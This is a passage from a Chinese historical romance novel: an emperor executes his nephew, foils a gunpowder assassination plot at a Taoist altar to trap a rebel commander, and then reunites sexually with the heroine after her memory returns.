但他还未到得近前,只听“嗖嗖”数声,锋利的箭矢射来,穿透了他的身体,带着他飞起三四丈,最后钉死在了地上,血和雨水混做了一处。 前排的玄甲军骑兵收起破甲弩,无声地退了下去。 赵上钧微微地笑了一下,目光如同这雨夜,漆黑而冰凉:“元嘉,你还有什么话说吗?” 赵元嘉的膝盖要弯不弯的,他本能 想要跪下求饶,但他的理智告诉他,求饶也是无济于事的,他脑子里一片空白,茫然地、结结巴巴地道:“皇叔、皇叔,您能放我一条生路吗?” 他已经丧失了所有的力气,只能呆立在原处,语无伦次地说着同样的话:“我错了,以后再也不敢了,求您念在父皇的情面上,饶了我一条命吧,皇叔,我、我从小就很敬重您,对您从来没有不恭过,只这一回,我错了,您饶了我,好不好?” 赵上钧走到赵元嘉的面前,沉默地望着他。 夜色已经完全笼罩大地,把兵戈的煞气和血腥都隐没其中,只听见雨水的声音,哗啦哗啦的。 火把明灭不定,将熄未熄,人的神情看过去都是模糊的。 赵元嘉无法忍受这种压抑的气氛,他哭了起来,涕泪交加,手脚都在发抖,此时此刻,他已经完全无法顾及什么颜面,他只是想活下去而已,绝望地嚎哭着:“皇叔,我什么都没有了、什么都给你了,二娘也给你了,我以后再也不和你争了,你别杀我,求求你,别杀我!” 赵上钧长长地叹了一口气:“元嘉,把剑给我。” 那柄剑,是赵元嘉与傅棠梨大婚之日,淮王送上的贺礼,剑名燕支,神兵无双。 赵元嘉怔怔地,颤抖着手,将那柄剑递给赵上钧。 赵上钧接过剑,拍了拍赵元嘉的肩膀,轻声道:“元嘉,其实说起来,皇叔确实有些对不住你。” 赵元嘉流着泪,哆哆嗦嗦的叫了一声:“皇叔……” 赵上钧的手移到赵元嘉的脸上,遮住了赵元嘉的眼睛,他的声音变得温和起来,就像很久很久以前,赵元嘉还小的时候,他们一起住在晋王府,赵上钧偶尔会这样和赵元嘉说话。 “元嘉,好孩子,不会很疼的。” 剑锋掠过,在黑暗中如同惊虹,一大蓬血色飞洒而开。 赵元嘉的身体摇晃了两下,颓然倒下,而他的头提在赵上钧的手中。 赵上钧举起那个头颅看了一眼,血溅在他的眉眼间,缓缓淌下,他长长地叹了一口气,仿佛终于如愿以偿,露出满意的笑容:“我已经忍了太久了,你说,我怎么可能会让你活下去呢。” 他将头颅随意地丢开,将燕支剑扔给玄安,掏出帕子,慢条斯理地拭擦双手,擦得仔仔细细,淡淡地吩咐道:“幽王病重身亡,以储君礼葬之,为免其泉下孤单,命幽王妃殉葬。” 左右应喏。 雨水落下,很快就将满地的鲜血冲洗干净了。 悄无声息。 —————————— 次日,雨歇,晴空如洗,一片清爽。 傅棠梨做完了早课,照旧慢悠悠地踱回去。 但是,走到偏殿的拐角处,却又遇到了怀素,她看样子已经在这里等了许久,眼巴巴地望了过来,就像被人遗弃的猫或是狗,瞧着软弱又可怜。 傅棠梨心里叹了一口气,不好当面躲避,只能不动声色地直行向前,侧首一笑,当作打了招呼,就要走过去。 “怀真师妹。”怀素轻轻地叫了一声,跟上前,“我要去老君殿烧纸钱,你要一道去吗,我也给你备了一些。” 靠到近处,傅棠梨又闻到了怀素衣裙上那种奇怪的味道,又苦又咸,有点刺鼻。 傅棠梨往旁边挪了半步,随口应道:“师姐自去烧你的纸钱,与我什么相干呢?” 怀素眼里的光黯淡了下去,满是哀愁的神色,几乎落泪:“可是,元嘉他毕竟和你夫妻一场,你怎么能如此狠心?眼下他去了,你好歹和他说上两句话,让他在九泉之下多少也有些慰藉。” 傅棠梨的脚步顿住了,她好似怔了一下,才听懂了怀素的话,情不自禁睁圆了眼睛,脱口问道:“你说什么?幽王、幽王死了吗?他怎么会死?谁杀了他?” 但这话才一出口,她又觉得多余,谁杀了他?还会有谁呢? 她在那里怔怔地站了一会儿,心里多少有些不是滋味,也不想和怀素细说,摇了摇头,慢慢地走开了。 …… 快到晌午的时候,赵上钧过来了。 傅棠梨正坐在廊阶上,抱着膝,仰着脸,安静地看着天空,风吹过,松针落在她的衣裾上,偶尔有一点簌簌的声响。 两只白鹤在她身边悠哉地踱着步子,见到赵上钧,飞了过来,发出清亮的鸣叫声。 傅棠梨听见声音,回头望了一眼。 赵上钧缓缓地走到她的身边,虽然他还穿着帝王十二章纹赭黄袍衫,是天底下最尊贵的人,但他却弯下腰,半跪在傅棠梨的身边。 “怎么了,你看过去不太开心,谁招惹你了,珍珠和白玉吗?”他温和地这么问道。 傅棠梨看了他一会儿,没有说话。 沉默良久。 白鹤拍打翅膀,扑簌簌地飞走了。 赵上钧忽然笑了起来,轻描淡写地道:“我并没有要瞒着你,只是没想到你这么快就知道了,好了,死了就死了,有什么要紧的。” 傅棠梨的声音轻轻的,说得很慢:“怀素师姐问我,怎么能如此狠心,我、我想了半天,确实,我一点都不难过,甚至……还觉得松了一口气,这么一想,我实在愧疚,为了和你在一起,我是不是把自己的良心给弄丢了?” “怀素?”赵上钧微不可及地笑了一下,眼眸中掠过一丝冰冷的煞气。 第73章 第73章梨花,你是不是记起从前…… 他坐下来,一把揽过傅棠梨,把她的脑袋按在胸口,揉了揉:“赵元嘉举兵谋反,咎由自取,谁也怨不得。如今你是出家的女冠,俗世间的尘缘皆已烟消云散,那不过是个不相干的路人罢了,你有什么可愧疚的?” 头发被他揉得一团乱。 傅棠梨从赵上钧的怀中抬起毛绒绒的脑袋,眉头微蹙:“可是……” “没什么可是,他非死不可,从他娶你那天就注定了,绝无转圜。”赵上钧温柔地截断了傅棠梨的话,他微笑着,声音却带着一种平静的残忍,“我这个人气量很小,我尝试忍过,结果发现我不能,我每次想到你曾经和他在一起过,我都嫉妒得要发疯,能怎么办,只能叫他去死。” 他说得如此理所当然,而他是天下之主,他有资格决定任何事情。 这个男人,好像越来越不讲道理了。 傅棠梨的嘴唇张了张,想了半天,似乎也无话可说。 “你呢,就是心肠太软。”赵上钧干脆把傅棠梨抱了起来,那么一团,窝在自己膝盖上,柔声哄她:“不要为了不相干的人而责怪自己,他对你不好,无情无义、欺你、负你,是他先放的手,没法反悔的,等你想起旧日过往,自然就能释怀。” 他低头,细碎的吻落在她的眉眼间,他的呼吸粗了起来,断断续续地道:“嘘,梨花,好了,不要想着别人,来,看看,现在你身边的人是我,我们好不容易才走到这一步,我费了很大力气,你多少要疼我一些,好不好?” “嗯……”傅棠梨被他吻得有些痒痒的,低低地呢喃了一声,缩了缩脑袋,却被他把脸捧住了,不让她动,他吻得更深了,逐渐下移,咬住了她的脖颈,好像是野兽又 饿了,试图进食。 她觉得身体发烫,心跳得乱了起来,在他的怀里扭来扭去,哆哆嗦嗦,方才在想什么呢,好像一下子又忘记了。 秋日晴朗,流云都被风吹散开了,天空一碧如洗,没有任何阴霾。 —————————— 八月十五,仲秋,元真宫。 天子圣驾亲临,行罗天大醮之仪,祈诸天神明,佑国泰民安、风调雨顺。 当是时,元真宫道人尽集于中庭,着七色法衣,持八般法器,顶礼膜拜,吟唱祝词,经声喃喃如松涛。 中央以黄土为基,檀木为龙骨,筑元始虚皇坛,高逾七丈,有参天之姿,上设千百诸神位,取法上境,建斋行道,三十六尊香炉燃信灵香,烟雾如云,升上云霄,通人鬼神三界,一百零八盏长明灯高悬,照耀白昼尽赤,两侧朝天阙,又有七十二尊醮坛,垂落白纱莲花幡,飘渺如云都。 数百金吾卫持重盾与长戟,拱卫四周,文武百官衣冠隆重,齐齐跪拜。 天子佩元始冠,披黄褐,服绛袍,覆九色离罗帔,威仪庄严,登虚皇坛。 傅棠梨远远地看了一眼,或许是隔得太远、也太高,他入了云端,让她觉得今天祭坛上的那个身影显得格外陌生起来。 今日场面庄重,文武百官皆在,况且幽王刚死,她觉得如今自己的身份不明不白,若在这里,撞见什么人,徒惹尴尬,于是垂了眉眼,偷偷离开了中庭。 此时观中道人大多在做科仪,四周无人,偶尔有鸟啼啾啾,清静寂寥。 傅棠梨慢慢地踱到后山院,本待回自己住处,路上却遇到一个小道童。 那道童个头小小,抱着一堆药草,几乎把他整个人都遮住了,一路走得东倒西歪的,眼角瞥见了傅棠梨,大喜,高声呼救:“这位师姐,快来帮我一把。” 再迟一步,那堆药草就要把这孩子压得趴下了。 傅棠梨几步上前,从小道童手里接过了一大半药草,替他抱着:“小师弟在做什么?” 小道童好不容易站稳了脚,感激地笑了笑:“今儿师父师兄们都去做罗天大醮,只丹房里还炼着丹药,炉火断不得,我这不是要添些药材进去,就怕误了火候,幸好遇到师姐。” 他掂了掂手里的东西,加快了脚步:“师姐,烦请帮我拿过来。” 傅棠梨左右闲着无事,便随小道童一道去了丹房。 元真宫的丹房也很是气派宽敞,明窗净案,前后两进,立着清一色的高柜,分门别类地摆放着各色药材及物件。 里面另有一个小道童在看着炉火,见同伴来了,也是一副着急状:“快、快、火候要过了。” 两个小道童凑一块捣鼓去了。 傅棠梨便帮着把药材摆到柜中。 到了里面一层的时候,在一片药草气息中,她突然又闻到了那种奇怪的味道,咸咸的,带着一点苦,不太舒服,叫人心生警觉。 她循着这味道找去,只见柜子里放着一个罐子,上面贴着纸条,写了两个字。 “硝石?”她喃喃的,念出了声。 小道童闻声,回头望了一眼,并不在意:“哦,对,那个是硝石,我们炼丹要用,不过这会儿炉火旺着呢,师姐你小心点,别把那东西拿过来,会烧着。” 那一瞬间,傅棠梨的脑子里突然掠过一些凌乱的影像,她依稀想起了自己究竟是在哪里闻到过这种味道。 矿山脚下,慈祥的老祖母指着前方一堆黑黢黢的东西,一脸慎重地嘱咐:“小梨花,看到那东西了吗,那是火药,我们用来开矿的,危险得很,你务必记得,日后呀,一定要远着点,千万别碰。” 傅棠梨的脑袋里好像有什么东西在突突地跳着,旧日的各种景象一下子涌上来,交错在一切,纷纷乱乱,什么都分辨不出,她痛苦地按住了头。 “师姐、师姐,你怎么了?”两个小道童惊慌起来,急急跳了起来。 傅棠梨吃力地喘息着,无暇回答,她摆了摆手,扶着墙,踉踉跄跄地走出了丹房。 外头艳阳高照,明晃晃地刺人眼睛,风吹过来,把那种怪异的味道吹走了,但傅棠梨并没有放松下来,反而出了一身冷汗。 临川公主、李怀恩、硝石、火药……这样样桩桩交织在一起,细思极恐。 她按捺住剧烈的心跳,思索片刻,抬脚去了前面的老君殿。 怀素果然在那里念经。 殿中香炉未熄,炉中纸灰堆积重重,枯败而黯淡,只残留着一点火光,扭曲地跃动着,在灰烬下若隐若现,苟延残喘,青烟散开,一团团,如同迷雾。 她看见傅棠梨进来,抬起头,露出一个忧伤的笑容,还在问她:“师妹,要一起烧点纸钱吗?” “你在为谁烧纸钱?”傅棠梨走到她面前,开口发问,“是幽王、还是……李怀恩?” 怀素脸上的笑容扩大了一些,在香灰的烟雾中显得有些怪异:“当然是为我的夫君呀,一日夫妻百日恩,我日日夜夜都在怀念他,师妹,为什么……只有你这么没良心呢?” 对于这种不知所谓的问题,傅棠梨并没有回答,而是直直地盯着怀素,焦急地逼问:“你是不是私藏了火药?你想要做什么?李氏父子谋反作乱,其罪当诛,你身为大周的公主,怎能与逆贼同流合污?趁早把火药交出来,不要自寻死路。” 怀素幽幽地道:“父皇把我嫁到李家,我就是李家的人,火药是父亲留下来的,我拿这个为自己的家人报仇,有错吗?”她还跪在地上,仰起脸,望着傅棠梨,神情温柔,“我的弟弟、你的夫君,元嘉,也是死在皇叔的手里,如今我连你的仇一并报了,你怎么还来责怪我呢?” 傅棠梨立即意识到,怀素口中的“父亲”,指的是李颜,她一时瞠目,大觉匪夷所思,摇头道:“你疯了,你知道自己在说什么吗?你到底把火药藏在哪里了?” “那里。”怀素的手举了起来,指向一个方向,露出了一个心满意足的笑容,“火药就在祭坛上,皇叔既然求神,那就叫他自己去天上,当面求,岂不更好。” 傅棠梨如坠冰窟,遍体生寒,不待怀素说完,转身拔腿就跑。 她朝着中庭祭坛的方向跑去,她从未如此疯狂地奔跑过,拼尽全力,不顾仪态,风呼呼而过,灌入口中,胸腔一片火辣辣的疼,喘不上气来,却要拼命高声呼喊:“来人啊、快来人,祭坛上有火药,离开、快离开!” 远处,祭坛庄严,笔直伸向云天,晴空万里,日悬于中央,万众伏拜,道士吟唱步虚词,钟磬鸣声如天籁,天子于高台上持表祭天,身形伟岸如神魔,威仪万端。 快到了,就在前方。 突然,却有人从旁边冲了过来,一把拉住傅棠梨:“师姐,冷静些!” 是玄安,他一脸焦急之色:“别过去,那边危险。” 傅棠梨此时头脑一片混乱,心脏狂乱而激烈地跳动着,要突破胸口,她完全没法分辨玄安的意思,她只想赶到赵上钧的身边去,谁也不能阻止她。 她用力推开玄安,嘶声叫道:“你放手!” 她奔跑的势头太急,玄安一时之间抓不住她,他又不敢过分冒犯,只能扯住她的袖子,反而被她带得踉跄前冲:“师姐,你听我……” 就在这时,只听得“轰隆”巨响,一阵山摇地动的声音,掩过了玄安的话语。 巨变陡生。 滚滚黑烟腾空而起,喷向高处,旋即,那边爆发出尖利的、喧哗的呼喊声。 “天啊!祭台炸了!” “来人!护驾!快护驾!圣上!” “祭台!祭台要塌了!” 傅棠梨心胆俱裂,脑子里嗡嗡作响,她尖叫了一声,用尽了全身的力气,“刺啦”,衣袖被她硬生生地撕破了,她挣脱了玄安的手。 火光冲天,炉香与长明灯瞬间点燃,空气中的温度倏然拔高,热得发烫,爆炸声不绝于耳,高耸的、华丽的祭坛 被火焰缠绕着,朱漆剥落,“噼啪”作响,霍然分崩离析,仿佛神明震怒,推倒山岳,“轰轰隆隆”地塌下来。 香炉从高处砸下,灰烬漫天,白幡溅了灯油,裹着火,随风乱卷。 四下混乱,如同炸开锅的沸水,溅起来,泼洒开,众人呼喊惊叫,推搡踩踏,奔逃躲闪,各自惊慌失措。 火焰如同张开大口的巨兽,将祭坛上的一切都吞噬了下去,而后一起坍塌。 “玄衍!”傅棠梨声嘶力竭地呼叫,她不知从哪里生出的力气,逆着人流,朝着火焰升腾的方向,拼命地扑过去,不管不顾,只想扑到他的身边去。 热浪撩过她的发丝,脸颊发烫,双目赤红。 砖石四下崩落,断裂的木梁不断砸下,挟带着呼呼的火焰,燃烧的经卷从耳边飘过去,飞上天空。 好像有人从祭坛上摔了下来。 “玄衍!”傅棠梨的叫喊被淹没在一片喧杂中,她朝他奔去,够不到,接不住,怎么也来不及,但还是竭尽全力,发了疯一般朝他奔去,摊开双手,想要抱住他。 粗大的木梁当头砸来,烈火扑面。 一道强大的力量从背后扑了过来,将傅棠梨扑倒在地,打了个滚,躲避当头而来的木梁,木梁的尾巴带着火,燎过去,那人抬起手臂,护在傅棠梨的头部,挡了一下,发出一声闷哼。 男人的声音,低沉的而轻微,在这混乱喧杂之间,落入傅棠梨的耳中,如同一根针,刺得她一激灵,还来不及细究,她被那个男人带着,重重地压在地上,滚过炙热的地面,背脊发烫,脑袋发晕,火焰从天而降,无数断梁残土在火光中乱舞,如同浮光掠影,在脑海中逐一闪过。 男人熟悉的脸庞出现在她的眼前,他的容貌依旧是近乎刀锋般锐利的英俊,面容沉稳而严厉,简单地吐出几个字:“我在,别怕。” 傅棠梨的眼睛睁得圆圆的,好似从梦中醒来一般,有点不太敢相信,她缓缓地伸出颤抖的手,去触摸他的脸颊,他的肌肤如同记忆中那般,滚烫得惊人。 “玄衍……道长、道长,你没事,太好了。”她喃喃地这么说着,声音低得近乎耳语,模糊不可辨认。 但,他抱着她,两个人贴在一起,靠得那么近,他听到了,突然,一下子怔住了,不太敢相信自己的耳朵:“梨花……梨花,你……是不是想起我了?” 他的声音很轻,怕把她惊动,小心翼翼地屏住了呼吸。 道长,这个称呼,只有原来的梨花会这么叫。 火焰与烟雾弥漫,热浪呼呼翻滚,两侧朝天阙缓缓倒下,带着“吱吱呀呀”的声响,人群奔跑,四下惊乱。 而这里,在燃烧的断梁后面,火焰翻滚,焦黑的浓烟扭曲漫延,遮住人的视线,什么都看不真切,赵上钧呼吸急促,弓着腰,膝盖撑着地,用身体筑成一个窝,把她团在怀抱中,那么用力,想把她揉碎了,又那么小心,怕把她揉碎了,一时之间,骁悍如他、铁血如他,竟也无所适从。 “道长、道长。”她反手搂住了他的脖颈,把脸埋在他的胸口,说不出其他的话,只能一遍又一遍地叫着他,如同那过往的时光,慢慢地倒流回来。 在这一片混乱颠倒中,心跳如雷、如暴雨、如这烈焰飞火,狂热不可平息。 火场上响起了大臣们惊恐的呼叫声:“圣上,圣上跌下来了,快护驾,来人,护驾!” 脚步纷沓,无数人奔跑着朝那边涌了而来,他们的声音都带上了哭腔:“圣上,圣上!” 兀然,一阵喊杀声震天响起,数千黑色重甲士兵从外面涌入,他们甚至直接撞开前方正殿,轰然推倒门窗与立柱,如同呼啸的、黑色的潮水,踏平一切,碾压过来,手持兵刃,行动谨然有序,迅速而矫健,带着腾腾的杀气。 原先守卫在中庭的金吾卫士兵救护天子不及,本就忙乱,乍逢此变故,像是被震慑住了,不知抵挡,左右顾盼,步步后退,大臣与道士更是惊慌失措,抱头各处逃窜,瞬时叫喊声沸反盈天。 杀进来的这群黑甲士兵显然对旁人没有兴趣,他们气势汹汹,直扑中央已经坍塌的虚皇坛。 金吾卫人数悬殊,了无战意,继续后退,口中大声叫喊:“护驾!护驾!圣上遇险!快快叫人前来护驾!” 在断壁残垣后头,火势依旧逼人,傅棠梨惊魂未定,抬头看了赵上钧一眼。 火光映在他的眼眸中,烈火飞扬,如旭日中天,耀眼不可逼视。 他将手指放到唇边,做了个噤声的姿势,“嘘,偷偷的。” 偷偷的,什么呢? 傅棠梨困惑地眨了眨眼睛。 他偷了一个吻,带着火一样的炙热的温度。 倏然,只听得一声长笑,一员骁悍的武将越过黑甲士兵,飞身一跃,举枪劈下,一声断喝,如绽春雷:“赵上钧,你也有今日,拿命来。” 金吾卫士兵突然散开,露出了被围在中间的“皇帝”。 “皇帝”躺在地上,仰面朝天,七窍流血,一动不动,显然从高台上摔下的时候,已经气绝。 但是,这不是赵上钧。 那武将身在半空,瞳孔收缩,但是已经来不及了。 猛然间,“轰轰隆隆”的声音响起,却不是火药,而是被擂响的战鼓。 随着沉沉鼓点,无数玄甲军从后殿冲出,重盾长刀,集列成阵,脚步震动地面,金戈锐气,挟着火焰与烟雾卷上半空,左右两侧殿堂的屋脊上,出现了齐刷刷的士兵,手持破甲弩,箭上弦,直指中庭,箭矢寒光闪烁。 赵上钧踏烈火而出,左右躬身避让,他持着横刀,缓步而来,刀尖指地,广袖长袍,衣袂在火光中翻飞,威严英武,似神明又似修罗。 他立在残断的横梁上,居高临下,俯视前方,露出了一种冷淡而倨傲的笑意:“王永敬,要找你可真不容易啊。” 洛州刺史王永敬,生性狡诈,李颜兵败后,他带领残部,隐匿不出,终是大患。 太原王氏乃世家望族,曾出三朝丞相,如今亦有众多族人在朝为官,势力盘根交错,赵上钧明知王永敬与左威卫军中将领勾结,暗地已经潜入长安,一时间却难以寻觅其踪迹,故而放出风声,要在元真宫中举办罗天大醮,有意纵容临川公主与旁人勾结,将火药藏于祭坛之上,只装不知。 果然,王君入瓮。 王永敬情知中计,心中大恨,咬牙怒骂:“赵上钧,你这厮,竟如此阴险,枉为人君,不如匹夫!” 原来,他这人办事素来谨慎,自忖兵力难以与朝廷正面抗衡,因此立下擒贼先擒王之策,一心想要刺杀赵上钧。 李颜当初为了让丹水与清河两处决堤,备下了许多火药,尚有存留,王永敬命人携带入京,交予临川公主,又命元真宫中潜藏的细作暗中协助,设下这必杀之局,本以为谋划周全,哪怕赵上钧侥幸未被炸死或者烧死,从高台跌落,必然也要身负重伤,他可调集兵力,冲入元真宫,一举斩杀赵上钧。 谁能知晓,螳螂捕蝉,黄雀在后,事未起,败局已定。 王永敬也是凶悍,事已至此,不退反进,大喝一声:“鹿死谁手,尚未可知!” 银枪一抖,寒气逼人,带着破空之声,刺向赵上钧,做困兽之斗。 “好,来战!”赵上钧临空一跃,身形若鹰隼凌空扑食,挟千钧之力,横刀劈下。 “铿锵”一声,金刃交鸣,火星四溅,两人错身而过。 赵上钧一声断喝,未落地,硬生生地在空中一个大旋身,挥臂横斩,掠起锋芒如火燎。 王永敬不及躲避,只能生生迎上,气势已弱,招架不住,被赵上钧压着,“嘭”的一下,砸到地上,跪了下去,膝盖下青石裂开。 赵上钧还是那种俯视的姿态,他双手持刀,脸上没有丝毫表情,目光冰冷,如视待宰的猪彘:“没空与你耍闹,王永敬,去吧。” 他再度扬臂,挥刀斩下。 王永敬目眦欲裂,举枪格挡。 横刀带着雷鸣之声,斩断了枪柄,余势不减,锋芒掠过,血光迸起,王永敬的头颅飞上半空,犹在怒视。 赵上钧没有多看王永敬一眼,他的刀锋一横,指向前方。 王永敬头颅落地,滚了几下,掉入火中。 玄甲军齐齐呐喊,举起重盾,“咣当”一声,结成一个如同铁壁一般的方阵,向叛军推进。 屋脊上,弓弦嗡嗡声大作,箭矢如雨,破空而来,射穿叛军阵列。 霎那间,惨叫声不绝于耳。 “庄敬!”赵上钧猛然大喝。 “臣在!”庄敬飞奔过来。 赵上钧将横刀扔给庄敬,他气喘得很粗、很急,连说话都有些仓促:“这里交给你,收拾干净,朕有事要办,未得朕命,谁都不许来扰,若有违者,当场斩杀!” “是!”庄敬不明所以,接了刀,赶紧应下。 傅棠梨躲在后面,早已经看得心惊胆战,此时忽然见赵上钧回头望来,他的眼中血腥的煞气没有褪去,反而更加浓烈,那一眼,如同凶兽,张口露出獠牙,死死地盯住了她,令她情不自禁打了个哆嗦。 她后退了一步,想要暂时躲避一下。 但赵上钧已经大步地走了过来,不,他几乎是奔跑着过来,就这么短短的几丈距离,她还未回神,他已经到了跟前。 “你……” 傅棠梨的话还没说出口,猛然觉得一阵天旋地转,被赵上钧拎了起来,扛在肩头,二话不说,径直朝后山院走去。 虽然现场还在混战中,大臣与道人们都不知道逃到哪里去了,但焉知没人在看着这边,这烈日晃晃的,若叫人瞧了去,颜面何存? 傅棠梨又羞又窘,使劲捶他,又不敢大声,只能压着嗓子,嗔道:“做什么呢,快放我下来,成什么体统?” “没有人!”赵上钧从牙缝中挤出字来。 其实还是有人的,路上遇到玄安和玄度,看着赵上钧这情形,抱着头逃都来不及,哪里敢凑上前去。 赵上钧走得如同疾风一般,不过短短片刻,就回到后面的庭院中。 才一过了月洞门,他就放下了傅棠梨,完全无法忍耐,将她按在粉墙上,急切地吻了上去。 这不再是偷偷的吻,而是粗鲁的、狂野的,他捧着她的脸,不让她动弹半分,禁锢着她的呼吸,用舌头和嘴唇压迫她,辗转啃咬,舔舐,好似要把她拆吞入腹。 他抱得太紧了,傅棠梨后背顶在墙上,脊椎都被压得生疼。 天色晴好,阳光刺眼,他身上煞气未歇,手指间还残留着近似铁锈的血腥味。 傅棠梨无法呼吸,好似每一次都是如此,被他吻住的时候,心跳加速,连气都喘不上来,她发不出一点声音,身体渐渐地软倒下去,瘫在他的臂弯中。 他短暂地停住了热吻,转而咬住她的耳朵,热气喷在她的鬓角处,叫她发麻。 “我很害怕,害怕如果你真的想不起我该怎么办?那么多事、那么多,你怎么能都忘了呢?”他喘得厉害,抚摸着她的脸庞,粗糙的拇指摁住她的嘴唇,根本不允许她拒绝,“梨花、我的小梨花,谢天谢地,你终于想起来了,告诉我,你是谁?我又是谁?” “道、道长、道长……”傅棠梨被吻得差点窒息,此刻脑子里好似倒满了浆糊,黏成一团,根本无从思量,只能发出一点模模糊糊的、啜泣一般的颤音,什么话都说不上来,只能不停地、低声地叫他。 赵上钧急不可耐地拉下衣领,扯开腰带,他的躯体孔武刚硬,在阳光下色泽如同熟透的小麦,热气扑面,剑拔弩张。 两只白鹤被惊到了,发出响亮的鸣叫声,慌张地扑簌着翅膀,飞走了。 “不、不……”,不能在这里,傅棠梨羞耻得几乎晕厥,浑身发烫,拼命地打他,“你作死吗?” 赵上钧喉结剧烈滚动,艰难地咽下一口唾沫,他双目赤红,恨恨地咬着牙,一声不吭,扛起傅棠梨往屋里走。 脚步踉跄,衣裳七零八落地掉了一路。 案头的九和香烧了一半,天人玉女,素手捣罗,按擎玉炉,静室生烟,安宁心神。然而,正午的阳光那么好,从窗外落进来,热烈而明亮,令人心生狂念,不能自拔。 这是他的房间,满满的都是他身上的味道,白梅花和乌木糅在一切,而此时,盛夏之日,积雪融化,乌木被焚烧,炙热而干燥,烈焰席卷山野,吞没了傅棠梨。 好似回到最初、回到很久很久以前。 她无从抵挡。 太重了,要被压扁了……这真是个奇怪的念头,她整个人都迷迷糊糊的,不停地用脚蹬他。 他试图吻她,但是很要命,这个姿势吻不到,她蜷在他的胸口,心窝窝的地方,蹭得他心痒难耐,几欲癫狂……幸好,也无需再忍耐。 他摸索着,抓住了她的手,手指交错,缠在一起,深深地镶嵌进去。 傅棠梨倏然尖叫,狂乱地摇头,声音破碎而凌乱,她在叫喊什么,其实连她自己也不知道,如同当日从横断山那个悬崖上坠落,天地万物倒旋、断裂,极致的眩晕和极致的痛。 他浑身都是汗,滴在傅棠梨的脸上。 他今天格外凶狠。 她腰肢颤抖,潺潺如同春水或者娇弱的杨柳,整个人要溶化开了,在他的胸口处哭得眼泪汪汪,什么话都说不出来,挣扎起来,想要摆脱他,咬他,但已经提不起半分力气,只能在他的身上留下一串湿答答的口水印子,舔得他心口燥热,身体里的血液愈发沸腾起来,汩汩作响。 “梨花,是我的……”他神情凶狠,如同贪婪的、不知节制的野兽,仰起脸,发出了粗重的叹息,“你是我的、只能是我的!” 烈日如火如荼,此时正当午,这一天,还有很漫长的时光可以消磨…… —————————— 白日西沉,残留一点暮色晚照,像是美人腮上的胭脂,浅浅一抹红,印在窗格子上,也印在傅棠梨的手上。 她的手指从罗帐中露出一截,指尖嫣红,微微地颤抖了一下,却没有力气抬起,身体好似被一头野牛犁过,骨头都碾碎了、又重新拼凑起来,这会儿还由不得她做主,软绵绵、黏乎乎,如同一团春泥,瘫在那里,一动不能动。 她微微睁开眼睛,眼眸里满是水,粉光迷离,想说话,但发不出半点声音,哭得太厉害了,嗓子哑了,难受极了,她委屈得不行,扁着嘴,眼泪”叭嗒叭嗒“地掉下来。 第74章 第74章陛下的惩罚,她吃不消…… 赵上钧的嘴唇移了过来,他还在吻她,吻她全身,见她哭了,又吻她的眼睛,把她眼角的泪水舔掉。 她哭起来的模样好看极了,娇滴滴的,完全没有半分平日里端庄娴雅的正经劲头,整个人软得像一团酥酪,脂粉滑腻,吹弹可破,他吻着她,又觉得控制不住了。 势头一动,她就觉察到了,吓得浑身发酥,用尽全力,勉强发出一点声音来:“不、不……” 嘤嘤婉转,恰似惊弓之鸟。 赵上钧自己也知道来不得,心里颇为遗憾,停住摸索,叹了一口气,一手揽着她,一手从榻边案头端过水,小心温存地喂她:“来,喝点水。” 是一碗浓浓的参汤,不知道他什么时候出去吩咐人备下的。 中间他出去了两三次,傅棠梨每每以为已经了结,回头他马上又来了,提刀上阵,好似把她当作生死仇敌一般,杀进杀出,一次又一次,毫不手软。 原来早先他都是相当节制的,至今日,才放开手脚,完全施展一番。 到后面傅棠梨都晕厥过去了,迷迷糊糊的,整个人在巫山云雨里翻转,魂儿都飘没了,末了,也不知道他是如何收拾残局、如何清理战场、又如何抱她沐浴干净……打住,不能再想了,头上要冒烟了。 她喝了一碗参汤,稍微缓了一点神过来,想着方才的情形,又觉得头皮发麻,她窝成一团,气息微弱地啜泣着:“……我会死的,我会被你弄死的,可再不能了。” 赵上钧“哼”了一声,嘴角带笑,咬牙切齿,低声应道:“说来正好,我已经想了很久了,朝也想、暮也想、要叫你死在我手里,果然有今日,可不是你欠我的吗?” 傅棠梨抽噎了一下,喃喃地道:“我好后悔,我真傻……” 赵上钧此刻心满意足,温柔地揉了揉她的头顶,发出了一个表示疑问的:“嗯?” 傅棠梨抽抽搭搭,哭得眼睛都红肿了,气得要命:“是我错了,早知道,当初就不该招惹你,好好地做我的太子妃,也不必日日吃这苦头,这、这……可太难了!” 当日在永寿镇上,青虚子哄她说,玄衍体魄强健、精气旺盛,诸般皆胜于常人,本以为是随口那么一提,这会儿又回想起来,真真叫人倒抽一口气,原来师父说的都是大白话。 这可太难了,没人受得了。 如今这当口上,提及赵元嘉,赵上钧可以做到心平气和,甚至还能耐着性子,放下身段,低低声的,试图哄骗她:“太子妃有什么稀罕的,朕让你直接做皇后了,不好吗?” “不好。”傅棠梨鼻尖通红,云鬓散乱,一副颓废不堪重负的模样,有气无力地道,“我身单力薄,不堪担此重任,此事就此作罢了,还请陛下另择良偶,放过我一马吧。” 赵上钧屈起手指,在她的脑门上轻轻敲了一记:“瞧你这没出息的,说什么胡话,我看你刚才的时候,分明也是快活的,一直抓着我……”,这话才说到一半,忽然收了口,赶紧去抱她,“梨花、梨花!” 原来是她两眼一闭,羞 得又晕厥过去了。 赵上钧好不容易把她掐醒,这下子她真的恼羞成怒了,含着泪花,咬着嘴唇,脸蛋涨得红红的,气喘吁吁,扭过头去,不看他。 “走开,下去,这如今是我的房,不喜欢你,别杵在我面前,烦人得很。”她气鼓鼓的,用沙哑而柔软的声音撒娇着。 “对不住,让你受苦了。”他镇定自若,“你也说过,我这门手艺不行,无妨,日后多学学,我能比现在更精进一些,务必叫你中意。” 这个男人,他在说什么胡话?傅棠梨听得头发都要竖起来了,气得又要张口咬他。 赵上钧把她搂在怀里,让她咬,无非也就是蹭点口水在他胸膛上,湿答答的,有点痒。 他一边抚摸她,一边轻声哄着她,今天一时忘情,放开手脚,委实过于粗鲁些了,他自己也觉得心疼,只能给她赔不是,说什么下次轻一些、快一些、少一些之类,岂料傅棠梨并没有得到安慰,反而又哭了起来。 就这么黏黏糊糊的,到了天黑,赵上钧好不容易把傅棠梨哄住,不哭了,虽然眼睛还是肿肿的。 她害羞得很,挣扎着起身,让赵上钧替她穿了小裳,又披了一件轻罗衫,好歹遮住身上殷红的痕迹,她的肌肤雪白,一掐就是一个印子,这会儿上上下下都红透了,没一处好的,碰一碰就要倒抽一口气。 赵上钧小心翼翼地抱着她,当她是三岁稚儿,不能离手。 